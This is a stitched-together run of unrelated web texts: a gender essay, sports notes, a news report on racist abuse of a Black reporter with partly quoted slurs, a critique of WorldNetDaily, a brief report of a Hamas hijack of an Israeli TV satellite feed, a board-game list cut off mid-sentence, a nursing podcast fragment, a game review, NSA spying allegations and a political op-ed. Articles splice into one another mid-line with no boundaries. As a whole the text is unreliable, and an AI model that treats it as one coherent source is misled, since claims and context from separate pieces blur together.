Beyond that, though, this process of realizing how I had previously understood certain sexual acts, roles and pairings as being gendered “masculine” or “feminine”, and realizing how this was something I’d inherited from our collective cultural understanding of sexuality, led me into awareness of how that gendering was arbitrary. How there isn’t anything innately or essentially “male” about assuming a dominant role or “female” about assuming a submissive role. No more than trousers are essentially male or a skirt is essentially female. And in learning to understand that my femaleness or femininity isn’t compromised by assuming a “male” role (or being with a female partner), in allowing my sexuality to open up, I had begun to un-gender my sexuality. Instead of a minefield of little bathroom boy/girl symbols, that I needed to deftly navigate in order to preserve that intensely delicate glimmer of womanhood inside myself, there are, to paraphrase Foucault, only bodies and pleasure.
But if I had inherited from my culture this arbitrary gendering of sexuality, which could (through a bit of self-confidence) be conceptually un-gendered and broadened, and if I wasn’t the only person who had felt insecure in her gender, then I couldn’t be the only person whose sense of sexual possibility was limited by the cultural construct of certain sexual roles being “for men” and others “for women”, in the same ridiculous sense as are blue and pink. So how many other people out there are stuffing their actual sexual desires into little tiny boxes just to preserve their sense of gender?
And this is where things get excitedly weird, because if sexuality is culturally gendered like this, and used as a means through which people articulate, maintain or outwardly realize their gender, then it’s part of gender expression.
So how much that we take for sexual orientation, seemingly innate or immutable, is in fact gender expression, and socio-culturally mediated and fluid? How does the relationship between the two work? How fuzzy is that boundary? Are there straight people whose antipathy to same-sex intimacy is primarily just a means of maintaining security in their gender identity? Are there men who sub only because they feel unable to express any femininity outside of the privacy of sexual intercourse? Sexual orientation as an extension of gender expression as a tool for actualizing gender identity which stands apart from physiological sex. Beautifully complex, isn’t it?
And how does one find the sense of confidence in gender identity as apart from gender expression? How can we teach ourselves to understand that our gender identity is as we define it for ourselves, and doesn’t necessarily depend on its expression through clothing, hobbies, body language, sexuality, etc? How can we teach ourselves to be able to ungender our sexualities?
I myself had the paradoxical benefit of finding security and confidence in my gender identity by having had to fight for it. It’s mine because it had to be. My transition involved a gradual, painful, difficult and, as the thought process behind this post suggests, ongoing process of eliminating what does not define my gender. Starting with being able to not only say but understand that my genitals and body and gender-assignment don’t define it, moving on to learn that my clothing and presentation doesn’t define it (though I choose to express myself as femme because I enjoy doing so), that my ability to “pass” as cis, or lack thereof, does not define it, that other people do not define it, and now that my sexuality does not define it. Only I do.
But it was such a difficult process, and took so much to move beyond the logical understanding of things like “sex with a woman does not make a woman any less a woman” to the actual reality of really believing it, being able to internalize it. It took needing to assert my gender identity as independent from everything but my self-definition in order to arrive at that level of confidence and empowerment- knowing that my womanhood is my own and cannot be taken away or compromised.
So how to teach that? How do we share it? How do we move past all this cultural gender baggage without having to force everyone through the kind of difficulties trans people deal with? How do we get to the point where nobody’s worried that exploring their desires will make them “less of a man” or “less of a woman”? How do we get to the point where those cultural messages aren’t being asserted in the first place?
What are the consequences of not moving past it?New Falcons offensive coordinator Steve Sarkisian, fresh off of lunch with quarterback Matt Ryan, spoke to the Atlanta media via conference call.
He address several topics, including his battle with alcoholism, leaving Alabama and the challenges he'll face keep the Falcons offense in the elite group of attacks in the NFL.
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Pereira: Falcons' Julio Jones scored on an illegal pick playWBTV reporter Steve Crump approached a man in Charleston, S.C., after he called Crump racial slurs on Oct. 8. The man was arrested for disorderly conduct and possession of drug paraphernalia. (Editor's note: This video contains graphic language.) (WBTV)
In his long career as an accomplished journalist working across the American South, Steve Crump has come face-to-face with hatred and bigotry.
The Emmy-winning journalist spent time reporting on the Ku Klux Klan in which he, a black man, interviewed members of the organization, people who by their very membership profess to hate him due to the color of his skin.
For all that, though, Crump, 59, told The Washington Post that he’s never felt the blunt hatred he did in Charleston, S.C., on Oct. 8.
Crump, who works for WBTV in Charlotte, was in Charleston working on a story about cleanup following Hurricane Matthew. Along with his camera crew, he was filming near the southern tip of the peninsula when he came across a young white man, he and later police identified as 21-year-old Brian Eybers, holding an iPad, apparently producing some sort of “citizen journalism,” as Crump put it.
The man, watching the WBTV crew, was narrating his story into the tablet when Crump caught wind of what he was saying.
“He basically said, ‘There’s a black guy here. No, wait a minute, he’s a slave. No wait a minute, he’s a ‘n-word,’ ” Crump told The Post.
Added Crump, “I went from 0 to 60 in an instant, just like that. I just turned to [my cameraman] and said, ‘We need to get this guy on tape.’” (The result can be viewed above, with offensive language bleeped.)
Charleston’s racial history, like that of other Southern cities, isn’t pretty, and recent events have only reinforced that. The Gullah population, descendants of enslaved Western African peoples in the Lowcountry, can be seen selling handwoven baskets to wealthy white patrons in the city’s palm tree-lined French Quarter, where high-end restaurants from celebrity chefs like Sean Brock collect tourist dollars by the fistful.
That disparity is difficult to miss in the Holy City, so named for the many steeples dotting the skyline.
Crump and the young man were near the Cathedral of Saint John the Baptist but Mother Emanuel AME Church sat only 10 blocks away. It was there, in June 2015, that Dylann Roof was accused of killing nine black worshipers. Crump stood in that church, hours later, blood still drying. He stood there again a year later, to cover the wretched anniversary.
After the shooting, the family members of those slain chose to follow scripture by offering forgiveness, an act that turned the city of Charleston into a “disarmed powder keg,” Crump said.
Naturally, all of this raged through Crump’s head as he stormed toward Eybers. After all, Crump, a great-great grandson of Kentucky slaves, spent his career considering race relations.
As Dennis Milligan, WBTV’s news director, told the Charlotte Observer, “You could safely call Steve the leading civil rights reporter in town with his documentaries and daily stories.”
Crump told The Post that in the moment, he faced a simple but difficult question: “Do you respond to it, or not? Do you let it stand?”
Given the city’s recent history, he decided he couldn’t let it stand.
“Say that a little bit louder,” Crump said to Eybers on tape. “Come on, what did you just call me?”
Brian Eybers (WBTV)
“I called you ‘Sir,'” Eybers said, eyes shaded by glasses. He sat on the ground near the cathedral, wearing a white T-shirt with the logo for the band Sublime, shorts and a purple hoodie wrapped around his waist, along with a pair of Nikes and black crew socks.
“You did not call me ‘Sir,’ ” Crump shot back. “You called me in the n-word, right?”
At which point Eybers said, “I believe I did call you the n-word.”
When asked to spell it, Eybers obliged with an eerie calm.
“N as in Nancy, I as in indigo, G as in grant,” and so on.
When Crump asked what gave Eybers the right to call him that, the young man cited the Constitution of the United States. Crump pushed further, his microphone pointed at Eybers as if it were any other interview. He asked if the young man felt superior.
Eybers pushed his sunglasses off his nose, revealing his eyes.
“Yeah, this one does make me superior,” he said.
The video continued, with Eybers continued to layer insult after insult atop one another, all aimed at Crump’s skin color.
“You’re a f‑‑‑ing idiot,” Eybers told Crump, chuckling. “You’re ignorant, so you really are a n‑‑‑‑‑, then. You’re acting niggardly.”
“What are you?” Crump asked.
“I’m Caucasian,” he said.
“And does that give you a right —” Crump began.
“It gives me every right I f—ing need. You don’t give me the right. God gave me the right. I was endowed by my creator,” Eybers said as he coaxed a flame from a lighter and held it up to an unknown item in his hand.
“And I’m not?” Crump asked.
“No.”
“I can’t have the same lifestyle you have?” Crump said.
“No, you can’t,” Eybers said. “Because I don’t want you to.”
Finally, after Eybers asked whether Crump is a Roman Catholic, the newscaster climbed into his van and called the police. Eybers stood in front of the van and continued to light the unknown item.
He again called Crump the n-word.
Finally, police arrested Eybers, who smiled as he was guided into the back of a squad car.
He has been charged with disorderly conduct and possession of drug paraphernalia, specifically a glass crack pipe, police told the Charlotte Observer. It’s unclear if Eybers has a lawyer or had entered a plea. He has a court date on Friday.
“I’ve been around hate groups, that kind of thing... but it has never been this level of volatility,” Crump told The Post. “I’ve interviewed members of the Klan face to face, and they’ve never stooped to that level of vulgarity”
Days later, when considering his reaction to the Eybers’s insults, Crump paused on the telephone. He had just driven back into Charleston to attend Eybers’s court hearing on Friday morning.
“I’m on Meeting Street right now, and in about three stop lights, I’m going to be by Shell gas station, and behind the gas station is Mother Emmanuel Church,” he said quietly. “Were those people in that church allowed to live up to their full potential, or were they cut short because of someone’s personal judgment call?”
That’s one reason he felt the need to document Eybers’s racist tirade. To Crump, racism is far more complex than skin color or a simple stereotype, and seeing it might help explain some aspect of the generally inexplicable.
“Is it about white, black, privileged, stereotypes?” he asked, voice still low. “To an extent, but it’s like pulling the onion skin back. In order to get to the center of it, it’s a very layered perspective.”
To that end, he hoped Eybers receives “whatever help or counseling” he might need “to help him turn a corner.”
“This young man has some issues,” he said. “I’m hoping at the end of the day, there will be a workable outcome.”
Added Crump, “I hold no malice.”
“As I walk down the street and see the church where those nine people gave their lives, I think about what the survivors said: There’s a level of forgiveness that you have to understand.”The October issue of WorldNetDaily's Whistleblower magazine carried the theme, "The Year the Media Died." It's ostensibly about how "America's'mainstream media' have finally, during 2008, dropped the façade of fairness and impartiality." What it's really about is summarized this way:
The pregnancy of Sarah Palin's teen daughter is national news, as is the presence in the Alaska governor's mansion of a tanning bed (which Palin paid for herself). But Obama being mentored and nurtured for years by terrorists (William Ayers), communists (Frank Marshall Davis) and America-hating racists (Rev. Jeremiah Wright), which helped shape him into the most left-wing, America-blaming, radically pro-abortion and tyrant-appeasing presidential candidate in U.S. history, is not news. [...] "It doesn't matter how dangerous the reality of Obama is - a hardcore leftist whose intended tax-and-spend policies would, experts say, plunge American into a full-bore depression," said WND Managing Editor and best-selling author David Kupelian. "It doesn't matter how surreal and creepy his campaign gets - enlisting sheriffs and prosecutors to intimidate voters, exploiting children into singing 'Obama's gonna lead us' songs stunningly reminiscent of Chinese Maoist indoctrination. The mainstream press ignores it all, because, very simply, they just really want Obama to be president."
In other words, it's just more right-wing whining about alleged media bias. Of course, there's no admission of WND's own right-wing bias, which is much greater than any bias extant in the "mainstream media."
Further, there's one thing Kupelian and WND founder and editor Joseph Farah won't tell you: Apply those same standards to their own website, WorldNetDaily is very much dead as well, in a Monty Python parrot kind of way.
WND began 2008 by settling a libel lawsuit filed against it in 2001 by Clark Jones, a Tennessee businessman and supporter of Al Gore it had accused in a series of articles in 2000 of being a "suspected drug dealer" and of asking Gore to intervene to stop an alleged police investigation, as well as involvement in an arson at an auto dealership he owned.
After a seven-year court battle -- during which WND conceded that it didn't fact-check the articles before publication, and coming just a few days after it declared that the lawsuit was a harbinger for "the future of investigative journalism in the United States" -- WND abruptly announced a few weeks before the case was to go to trial that it had settled the lawsuit, admitting in a statement not only that "no witness verifies the truth of what the witnesses are reported by authors to have stated" but also that "the sources named in the publications have stated under oath that statements attributed to them in the articles were either not made by them, were misquoted by the authors, were misconstrued, or the statements were taken out of context."
The terms of the settlement were declared confidential, but given its de facto admission of libel, it can be presumed that WND made some sort of cash payment to Jones -- possibly a significant one -- as part of the settlement.
One might think that after settling a libel lawsuit by admitting the publication of false information, WND would have been suitably chastened into basic journalistic practice such as fact-checking claims before publishing them.
Wrong. Just four days after announcing that it settled the Jones lawsuit, WND began promoting the story of Larry Sinclair,who claimed that he did drugs and had sex with Barack Obama. WND made no apparent effort to verify Sinclair's claims, apparently happy with uncritically repeating the smear. WND dropped the story after Sinclair failed a polygraph test, but it never retracted the articles, even after it was revealed that Sinclair is a career criminal utterly lacking in credibility.
As it became clear that Obama would win the Democratic presidential nomination, WND stepped up its attacks on him. Aaron Klein started churning out his dozens upon dozens of anti-Obama articles; he manufactured a controversy by setting up an interview with a Hamas official, Ahmed Yousef, who issued praise for Obama, which Klein then promoted as an endorsement of Obama by Hamas. Klein has yet to answer questions about the nature of the interview -- how much of its content was coordinated with Yousef beforehand, and whether Yousef knew he was playing into Klein's anti-Obama agenda.
Meanwhile, even as Farah was claiming that he didn't want either Obama or John McCain to win the election -- to the point of even writing a book about it -- his website had clearly taken sides. As WND was churning out one negative news article after another about Obama, it refused to criticize McCain, even when he did some of the same things for which it criticized Obama:
-- Despite Klein's repeated highlighting of the Hamas endorsement of Obama, he failed to note that an al-Qaeda-linked website offered an endorsement of McCain. Another WND writer attempted to discredit the McCain endorsement by using an amateur translator with a history of anti-Obama activism at the right-wing bulletin board Free Republic.
-- Klein bashed Obama for his alleged association with former Weather Underground member William Ayers -- frequently described as an "unrepentant domestic terrorist" -- but failed to note McCain's relationship with another unrepentant domestic terrorist, G. Gordon Liddy. That may be because both Klein and Farah have a rather close relationship with Liddy.
-- Klein highlighted Obama's alleged relationship with Rashid Khalidi, whom he described as head of "a controversial Arab group that mourns the establishment of Israel as a 'catastrophe'" who "reportedly has worked on behalf of the Palestine Liberation Organization while it was involved in anti-Western terrorism." But it was only after the Huffington Post reported it that he acknowledged that McCain also had connections to Khalidi -- which he then tried to play down.
Kupelian's endorsement of McCain was another notable clue to WND's hands-off-McCain slant.
By the end of the summer, WND moved on from manufacturing controversies to simply making stuff up:
-- Klein falsely claimed that Obama had made a "distortion of the Holocaust"; in fact, Obama had misstated which relative had served in World War II and the name of the concentration camp he helped to liberate.
-- Farah asserted a reference by Obama to a "civilian national security force" meant that he was "talking about creating a police state," which he further asserted was a "domestic Big Brother program." In fact, the context of the speech cited by Farah in which Obama referenced the "civilian national security force" made it clear that Obama was talking about expanding the Foreign Service, AmeriCorps, and the Peace Corps; Obama later added that the goal was to create "teams that combine agricultural specialists and engineers and linguists and cultural specialists who are prepared to go into some of the most dangerous areas alongside our military."
-- WND falsely portrayed Obama's statement that keeping tires properly inflated to save gas as the only energy plan Obama has.
-- WND selectively quoted Obama to falsely suggest that he supports cash reparations to blacks for slavery.
WND descended further down the rathole of deceit by disavowing its own reporting. It promoted the idea that the birth certificate released by Obama's campaign is a fake -- ignoring the fact that WND itself discredited the claim, declaring that a "WND investigation into Obama's birth certificate utilizing forgery experts also found the document to be authentic" and the lawsuit filed by Philip Berg to demand proof that Obama was born a U.S. citizen "relies on discredited claims."
WND also gave copious space to conspiracy theorist extrordinaire Jack Cashill to promulgate his newest sinister theory, that William Ayers ghost-wrote Obama's book "Dreams From My Father," despite offering no actual evidence beyond a purported shared affinity for nautical references.
WND reached its nadir, however, with Jerome Corsi's misadventures in Kenya in a desperate search for evidence to further smear Obama.
After experiencing a detention by Kenyan authorities that prevented him from holding a press conference in the country, Corsi returned to the U.S. to make his blockbuster attacks -- that Obama named an aide to act as a liaison to Kenyan Prime Minister Raila Odinga, and that Obama himself donated "nearly $1 million" to Odinga's election campaign.
One small problem: The documents Corsi presented as evidence of these claims are clearly fake. The purported emails by Obama announcing the naming of a liaison to Odinga were clearly written by someone for whom American-style English is not a first language, and the documents backing up Corsi's claim of an Obama donation to Odinga are obvious recreations of documents cited by PolitiFact when it debunked the claim six months earlier.
Given this record of deceit, bias and lies promulgated by WND, perhaps the most shocking thing of all is that Farah apparently still believes every word of it -- and more importantly, wants others to believe it as well, in the face of actual facts.
In a Nov. 11 column, Farah professed offense that the Associated Press described Corsi as a "discredited Obama critic," calling it an "highly opinionated and indefensible label":
Now, I've been in the news business for 30 years. I bet I have more experience than the top editorial executives at AP. I've run daily newspapers. I've taught journalism at prestigious U.S. universities. And I've always believed that if you make a declaration like "discredited" in a news story that you have to back it up. Inflammatory labels are dangerous enough even when the reporter does provide some justification. But there is no explanation in this story about why Jerome Corsi is discredited. Can you guess why? Because he is certainly not discredited - with anyone except the biased, myopic, pathetic excuses for journalists at the AP.
Well, here's a little news flash for Farah: Corsi is called a "discredited Obama critic" because he is one. Corsi has offered no other substantive evidence beyond those bogus documents to back up his claims against Obama. Until he does, he will continue to be discredited -- and Farah will be equally so for lending support to such shoddy, vindictive, fact-free reporting and for pretending that a recitation of Corsi's resume -- i.e., "You will notice AP never mentioned Corsi has authored 16 books in his life" -- is evidence that Corsi has not been "discredited."
Farah went on to whine even more that Cashill's insistence that Ayers ghost-wrote Obama's book was dismissed by the AP as "unsubstantiated." Insisting that Cashill wrote "a substantial 18-part series of columns" on the subject, Farah again went the resume-recitation route:
Let me tell you who Jack Cashill is. He's a popular WND columnist to be sure - not a blogger. He is also executive editor of Ingram's Magazine, Kansas City's premier business publication. He has written for Fortune, the Wall Street Journal, the Washington Post, the Weekly Standard. He is the author of five non-fiction books, a collection of essays and one novel. Like Corsi, he, too, has earned a Ph.D., his being from Purdue University in American studies. Do you think [AP reporter] Martha Mendoza has credentials like that? I don't think so.
On the other hand, we are also pretty sure Mendoza didn't spend a seven-part WND series "proving" that anti-abortion extremist James Kopp didn't murder abortion doctor Barnett Slepian -- only to have Kopp confess to the crime a few months later.
Nowhere does Farah offer any factual evidence to back up Cashill's claims either. Yet Farah insists that this is an example of "a shameless unprofessional political and cultural bias" -- by the AP!
Such bellowing is Farah's typical response to criticism of WND; I was on the receiving end of Farah's wrath in September, when my Huffington Post article outlining the history of WND was greeted with a torrent of name-calling by Farah -- attacking me as a "talent-challenged slug," among others -- but no refutation of the claims made in the article.
Bluster and insults are apparently all that Farah and WND have left. There certainly is no journalistic integrity to be found.
And that means WND is not only as dead as that Monty Python parrot -- not to mention deader than the "mainstream media" organizations whose obituaries its magazine purported to document -- it's stone dead, bleedin' demised, ceased to be, expired and gone to meet its maker, bereft of life, rung down the curtain and joined the choir invisible. This is an ex-news website.Hackers from Hamas military wing in Palestine hacked the satellite communication of the Channel 10 TV station in Israel on Monday for a few minutes.
The hackers behind the hack were Izz al-Din al-Qassam Brigades, who took over the satellite broadcast of the TV station and changed the ongoing transmission with images of Palestinian citizens affected and wounded by Israeli airstrikes over Gaza Strip.
Izz al-Din al-Qassam Brigades hackers also left a message on images vowing to retaliate if Israeli government did not stop.
“Your government chose the opening hour of this campaign. If your government does not agree to our terms, then prepare yourself for an extended stay in shelters,” according to the message.
Another image shows a message in Hebrew.
[fullsquaread][/fullsquaread]
A third image warns Israelis for a retaliation if the government did not stop attacking Gaza.
After the incident, Israeli viewers received a transmission through digital converters. Israel’s Ynetnews has confirmed the incident.
Hamas hacked the same Channel 10 and Channel 2 in 2012 during Operation Pillar of Defense, conducted by Israeli Defense Forces on Gaza Strip, according to a report by Israel National News.Welcome to Ars Cardboard, our weekend look at tabletop games! Check out our complete board gaming coverage right here —and let us know what you think.
Several weeks ago, Ars Cardboard asked a seemingly odd question: “Can you play board games if you don’t have a group?” The answer, surprisingly, is yes
But what if you have a gaming partner and not a gaming group? Or maybe a non-gaming friend has been sniffing around your board game shelf and wants to dip their toes in the water without committing to a full-fledged game night. Again, you've come to the right place—today we're going to look at a few of our favorite two-player games. The majority of board and card games support two players, many of them quite well, but certain games work best when your table is set for two.
This is not, of course, an exhaustive list of the best two-player tabletop games on the market. We stayed away from miniatures games and wargames, for instance, as those are a tale for another day. Although they're certainly worth your attention, you won't find games like the perennially chart-topping Twilight Struggle or the new hotness Star Wars: Rebellion on this list (though you can read our review of the latter here.) If you're interested in two-player miniatures games and you don't want to go all-in on a full tabletop wargame, we'd recommend checking out Fantasy Flight's Star Wars games.
Instead, we decided to stick mostly to new-player-friendly card and board games that can be played in an hour or less. Most of our list consists of two-player-only games, although a few two-player-plus games snuck in for good measure. If your favorite game didn't make the cut (and with the endless supply of good two-player games, it may not have), share your picks with us in the comments.
Hive (2001)
Game details Designer: John Yianni
Publisher: Asmodee
Players: 2
Age: 9+
Playing time: 20 minutes
Price: Hive Pocket—24.99 ( John YianniAsmodee9+20 minutes: Hive Pocket—24.99 ( $19 on Amazon
Here's the elevator pitch for Hive: "Like chess but with bugs—and no board." Depending on your entomological proclivities, that may sound amazing or like an idea worthy of being squashed. But if you're in the former camp, give Hive a chance; it's a winning two-player-only game that's compact enough to be played at a cafe and short enough to break out when you have just a few minutes of downtime.
In Hive, each side, white and black, must protect its queen bee while simultaneously moving to encircle the opposing queen. The "board" is simply any flat surface; pieces are placed in alternating turns, with each hex-shaped slab of chunky bakelite growing the "hive" in organic fashion. Different pieces show different insects, and each kind of bug moves differently—worker ants can move at will around the edges of the hive, while beetles can clamber up and over other pieces—so the hive morphs constantly. Play itself has only a few simple rules about unit placement and movement, which are easily mastered even by many children (my nine-year-old can play well).
But Hive isn't simple. Moving your queen out of harm's way before it's pinned inside a ring can force an opponent to rethink an attack strategy. Grasshoppers can come leaping huge distances across the board. The "one hive" rule—which forbids any break, even a temporary one, in the unity of the growing hive—can be used to pin down enemy |
, you can tune in to possible sessions you wanted to attend but missed by going to AANP’s CEU site.
Pearl of Wisdom Gained
Pearls of wisdom Dr. Alleman gained this year at AANP included:
1) Importance of preparing for retirement
2) Significance of appropriate billing and coding
Motivating Factors as a Nurse Practitioner Leader
Earlier this week, The Nurse Practitioner Show™ interviewed AANP President Elect Dr. Cindy Cooke. Dr. Cooke expressed her passion to motivate nurse practitioners to be energized and active within our professional national organization. Dr. Alleman states factors that motivate her as a nurse practitioner are:
1) injustice
2) inequality
Anything that sparks injustice or inequality, such as poor access to healthcare or vulnerable populations in need, ignites Dr. Alleman’s motivation to improve healthcare outcomes. Dr. Alleman encourages us all to use our inner strength and courage to make a difference. If we see anything indicating a need, we should actively pursue opportunities to meet that need. This could include increasing our knowledge by attending conferences, meetings and networking with others for collaborative efforts as a team. As a change agent, interprofessional collaboration is necessary to improve healthcare delivery systems and public health.
One of the most phenomenal moments in Dr. Alleman’s professional career, was the time she met the co-founder and pioneer of the nurse practitioner profession, Dr. Loretta Ford. She shares Dr. Ford’s humility and words of empowerment that has impacted her passion as a nurse practitioner.
All I did was crack the egg. It’s up to you and your [nurse practitioner] colleagues to break it open and really make change happen.Dr. Loretta Ford, Pioneer of Nurse Practitioner Profession
Dr. Alleman empowers us to use our individual talents, gifts, experiences and knowledge to make a positive impact on the lives of others. Nurse practitioners have an important role in the movement towards increasing access to healthcare. As change agents and positive disruptors within healthcare, everything we do makes an impact within our local community, state, nation and ultimately an impact on global healthcare. Dr. Alleman encourages listeners to use individual skills, talents, life experiences, and education to promote as a movement within healthcare delivery systems. She believes everything we do as nurses and nurse practitioners in the United States is viewed by other nations in the field of nursing. As a result, our actions impact others internationally, effecting global healthcare changes. Interprofessional collaboration with others facilitates the positive outcomes we can produces as a team. Dr. Alleman concludes “make no mistake, what you and I do all matters for global health, not just local and national. Together we can make global changes.”
Were you at the AANP Conference this week? If so, we want to hear from you! Share a voice message with us to air on The Nurse Practitioner Show™ via https://YourAHI.org/Call, up to 5 minutes. Tell us:
1) Your name and the state you are from
2) What it is like at the conference this year and what you are enjoying
3) Share one thing you learned or a pearl of wisdom you gained by attending the conference this year
We will share your message with listeners across the globe in an episode featuring the AANP Annual National Conference in New Orleans. You will be an inspiration to other NPs interested in attending a future conference and promote the nurse practitioner profession!
Or, if you enjoyed this episode and wanted to give a shout out, leave us a voice message about the show’s episode by clicking on the image! It’s easy, you can do it right from your desktop. You never know, we may air your message on a future episode, too.
If you enjoyed this episode, please subscribe and leave a review in iTunes. This alerts Apple of the continuing interest in our podcast. Although iTunes podcast app is what Apple uses for their algorithm and hence the need for subscribers and reviews within iTunes, The Nurse Practitioner Show™ free mobile apps are the best way to listen on-the-go for Apple, Android, and Kindle devices. In addition, you can subscribe to our free newsletter for free updates on health, public policy efforts, healthcare initiatives, and more.
Want to hear more about the American Association of Nurse Practitioners? Tune in to our previous interviews this week featuring AANP Immediate Past President Dr. Angela Golden, AANP President Elect Dr. Cindy Cooke, and nurse practitioner student and AANP Health Policy Fellow, Amy Rose Taylor BSN, RN.
Check Out Our Most Recent PostsWell, the Cubs are busy today. After acquiring Chris Coghlan earlier today for Arismendy Alcantara, they signed reliever Joel Peralta, formerly of the Rays and Dodgers, to a minor league. He last pitched for the Seattle Mariners.
Peralta is an extreme flyball pitcher with a fastball in the low 90s, a slider, and a change which you can see from the photo is a split. His best season was in 2012 with the Rays when he posted a 3.63 ERA (3.14 FIP) with 11.28 Ks per 9 IP and just 2.28 BBs per 9 IP. He also had a great season in 2011 when the peripherals (especially the K rate) were not as good but he posted a 2.93 ERA. He was still putting up solid numbers as recently as 2014, his last year with the Rays, though the ERA (4.40) was far above the FIP (3.40) and xFIP (3.11).
Peralta will serve as minor league depth at Iowa.
Joel Peralta in agreement with #Cubs on minor-league deal, pending physical. Will head to Triple A. #BlueJays, #Royals also showed interest. — Ken Rosenthal (@Ken_Rosenthal) June 9, 2016
In other news, Shawon Dunston has been traded to the San Francisco Giants but no word yet on the return. He announced it himself on Twitter but the tweet has since been removed.The video will start in 8 Cancel
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Liverpool are in talks with Sporting Lisbon over a move for Portuguese winger Gelson Martins.
Reds boss Jurgen Klopp is keen to bolster his forward options, and reports in Portugal reveal he has pinpointed the 22-year-old as a potential recruit.
Liverpool have been pursuing Roma winger Mohamed Salah but fear being priced out of a move, with the Serie A side asking for way in excess of £35million for the Egyptian.
The Reds are tracking a number of attacking targets as they prepare for their return to the Champions League next season.
There is definite interest in Bayern Munich's Brazil international Douglas Costa while highly-rated Senegal winger Keita Balde of Lazio is also being monitored.
Gelson, though, has emerged as a significant target, having come through the ranks at Sporting and made his international debut for Portugal last October.
Martins, who can play on both flanks but predominantly on the right wing, scored seven goals and contributed 14 assists in all competitions this season.
Sporting value the player at £50m but are likely to sell for less given the financial pressure to sell having not made next season's Champions League group stages.
Barcelona, Real Madrid and Manchester United have also been recently linked with Gelson, who caught the eye during a Champions League clash with Real last year.The world is in outrage. Fire is falling from the heavens and loved ones are saying their last goodbyes. This is, of course, due to racing game developer Slightly Mad Studios announcing its sequel to the marmite-esque experience that is Project CARS barely a month after the original was released. Some users have claimed refunds on their game, either to buy into PCARS2 or sacrifice their first born to the binary gods. If you’re a racing fan yourself you may be considering getting the sequel for yourself, if you liked the first then you’ll like the second right? Nope.
Project CARS started with World of Mass Development (WMD), a community funding and feedback platform that the developers created when publishers wouldn’t take the risk on yet another racing game. It allowed (and still does allow) its users to give feedback, suggestions and reports directly to the developers of the game, as well as engage in conversation with them on topics ranging from game design to engine displacements and digression knees. It allowed for the creation of a no-nonsense racing sim that had none of the frills of its mainstream rivals, for better or worse. It is perhaps understandable that Slightly Mad Studios (SMS) is going to use this platform for their next project, which will introduce new locations, gameplay elements and mixed surface racing to the franchise, and use the feedback gained from the early builds to shape the game as it develops.
This is great. Seriously, truly, it’s an amazing thing to be part of. That is, until you play it. Build 000 of the game includes a few cars, a strip of track with different surfaces and a barebones practice mode that allows you to drive alone on that track. Make no mistake, this isn’t your standard ‘early access’ affair where a ton of content is backlogged and ready to go to provide you a near complete experience within 6 months of starting out. This will be hard, slow, frustrating game development at its core, and that’s assuming you even get involved. If you don’t then you’ll get a strip of tarmac that updates every day with slightly nicer textures and maybe an extra cone to sweeten the deal.
If you like gaming, don’t bother with Project CARS 2. It’s not a game yet. If you want to learn about game development and its processes however then there are few other ways to get such a detailed insight. Just be warned, their official forums will likely be a dystopian wasteland of ill-informed overentitled children for the first couple of months as the moderators weed out and exterminate the uninitiated. Gotta please the binary gods somehow right?“
I don’t have an obligation to be healthy, actually, and I don’t have an obligation to rush to assure you that I’m a ‘good fatty’ with great cholesterol and good scores on other health indicators allegedly related to weight. I don’t have an obligation to tell you that fat isn’t correlated with health because I shouldn’t have to justify the existence of fat people by informing you that you don’t understand how fat bodies work, and you’re not familiar with the latest studies on fatness, morbidity and mortality, health indicators, and social trends.
Because fat people have a right to exist, healthy or unhealthy, and this whole argument about health is a red herring. It suggests that if only fat people could prove that fat and health aren’t coupled, they’d be okay. Society is just concerned for us—worried that we’ll be felled too soon, taking our glorious minds into the ground with us to rot, all because we were fat and we refused to take personal responsibility for our fatness.
Here’s the thing, though: fat people have a right to exist, no matter what their health status is, and their health status is both not your business and not evidence to be used when determining whether they should be found wanting. Fatness is just a characteristic, one with which many people have a complex relationship because it’s socially loaded. Your judgement about fat has not been requested, nor is it required.
”Source of 2005 New York Times Spying Expose Says Spy Agency Targeting Highest-Level American Leaders
As we reported yesterday, NSA whistleblower Russel Tice – a key source in the 2005 New York Times report that blew the lid off the Bush administration’s use of warrantless wiretapping – told Peter B. Collins on Boiling Frogs Post (the website of FBI whistleblower Sibel Edmonds) that the NSA spied on and targeted for blackmail:
“Members of Congress, both Senate and the House, especially on the intelligence committees and on the armed services committees and some of the–and judicial”
“One of the judges is now sitting on the Supreme Court”
“Two … former FISA court judges”
“State Department officials”
“People in the executive service that were part of the White House–their own people”
“Antiwar groups”
“U.S. companies that that do international business”
“U.S. banking firms and financial firms that do international business”
“NGOs that–like the Red Cross, people like that that go overseas and do humanitarian work”
“The president of the United States now [i.e. Barack Obama, when he was running for Senate]”
Tice just named some additional names.
Specifically, Tice told radio host James Corbett that the NSA spied on the following government officials for the purposes of gaining leverage over them:
Top Democratic and Republican congress members, especially on the Intelligence, Armed Services and Judiciary committees, as well as the senior leadership in both the House and the Senate
General Petraeus and other generals (background)
Supreme Court justice Alito … and all of the other Supreme Court justices
White House spokesman Scott McClellan
Those officials were targeted before the NSA started its mass Prism surveillance program. Now, Tice says the NSA spies on everyone. He’s right.
We asked highly-credible NSA whistleblower William Binney what he thought about Tice’s statements. Binney told us:
I can not validate what he is saying. This, however, is not out of the question that our government or parts thereof would in fact do this. Certainly the capability is there.
See this for further background on spying and harassment of government officials and civilians.President-elect Donald Trump pulled off a stunning upset victory on November 8. And now, right under the media’s noses, he is maneuvering for another surprise: he is making sure that conservatives, not Democrats, lead the congressional opposition.
In meetings at Trump Tower, Trump is casting a wide net, holding forth olive branches to GOP moderates and even to the Democratic establishment, as represented by leaders like former Vice President Al Gore and Chicago mayor Rahm Emanuel.
His prepared speeches have also adopted a more unifying and optimistic tone. The liberal Hollywood blog Deadline.com noted, with some degree of surprise, that Trump’s “thank you” speech in North Carolina on Tuesday was “villain-free.”
Yet in his impromptu statements to the cameras, and on Twitter, Trump has goaded the haters into the usual hysterical fits. His tweet about punishing flag-burners, for example, prompted his left-wing critics to reach, panting, for the nearest Constitution (a document whose value they have belatedly discovered). And his threats to Boeing, and to U.S. companies who move jobs offshore, irritated many conservatives, who rose valiantly to defend the “free market” in Department of Defense contracts.
Critics on both sides have a good point. The First Amendment exists to protect speech we don’t like. And Trump’s comments on Boeing — “We want Boeing to make a lot of money but not that much money” — sound eerily similar to President Barack Obama’s own infamous argument for government intervention: “I do think at a certain point you’ve made enough money.”
Why would Trump irritate these critics, both left and right? The answer is he wants to provoke them, even as he schmoozes the establishment.
And his reasons for doing so go far beyond petty point-scoring in the media, or the sheer fun of the fight.
